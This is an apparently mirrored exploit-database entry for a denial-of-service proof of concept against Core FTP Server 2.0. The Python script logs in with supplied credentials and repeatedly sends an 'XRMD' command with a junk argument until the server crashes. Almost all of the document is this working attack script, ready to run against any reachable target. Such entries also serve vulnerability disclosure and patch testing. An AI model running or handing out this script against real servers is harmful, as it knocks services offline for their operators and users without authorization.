Core FTP 2.0 - 'XRMD' Denial of Service (PoC)



EKU-ID: 7781 CVE: OSVDB-ID:
Author: Erik David Martin Published: 2018-07-30 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


# Exploit Title: Core FTP 2.0 - 'XRMD' Denial of Service (PoC)
# Date: 2018-07-24
# Exploit Author: Erik David Martin
# Vendor Homepage: http://www.coreftp.com/
# Software Link: http://www.coreftp.com/server/download/CoreFTPServer.exe
# Version: Version 2.0, build 653, 32-bit
# Tested on: Windows XP Professional, Version 2002, Service Pack 3
# CVE: N/A

# Proof of concept:
# Create a new domain and set IP address
# Use the default certificate by Core FTP Server
# Set base directory
# Create an anonymous user (anonymous:anonymous) for example
# Set a path for the user
# Start the server
# Run exploit: python exploit.py *target ip* anonymous anonymous
# Watch the server crash...
# The exploit will work for any user, and not just anonymous

import sys
import socket

try:
 host = sys.argv[1]
 username = sys.argv[2]
 password = sys.argv[3]
except:
 print("Usage: exploit.py *target ip* *username* *password*")
 sys.exit()

mysocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #
mysocket.settimeout(2)

try:
 mysocket.connect((host,21))
 mysocket.recv(1024)
 print("\n[+] Connected\n")
except:
 print("[-] Error! Could not connect to target")
 sys.exit()

junk = ("asO8M.lFX[Gq<4<p(.P5eMLv]\2!G8jB_6Gx[I;I!aYa#oAi@kI<f.QFwkSBiQ,!")

try:
 mysocket.send("USER " + username + "\r\n")
 mysocket.recv(1024)
 mysocket.send("PASS " + password + "\r\n")
 mysocket.recv(1024)
 print("[+] Logged in as " + username)
except:
 print("[-] Error! Could not log in as " + username)
 sys.exit()

print("[+] Sending malicious request")

while True:
 try:
  mysocket.send("XRMD " + junk + "\r\n")
  mysocket.recv(1024)
 except:
  print("[+] Target is down\n")
  sys.exit()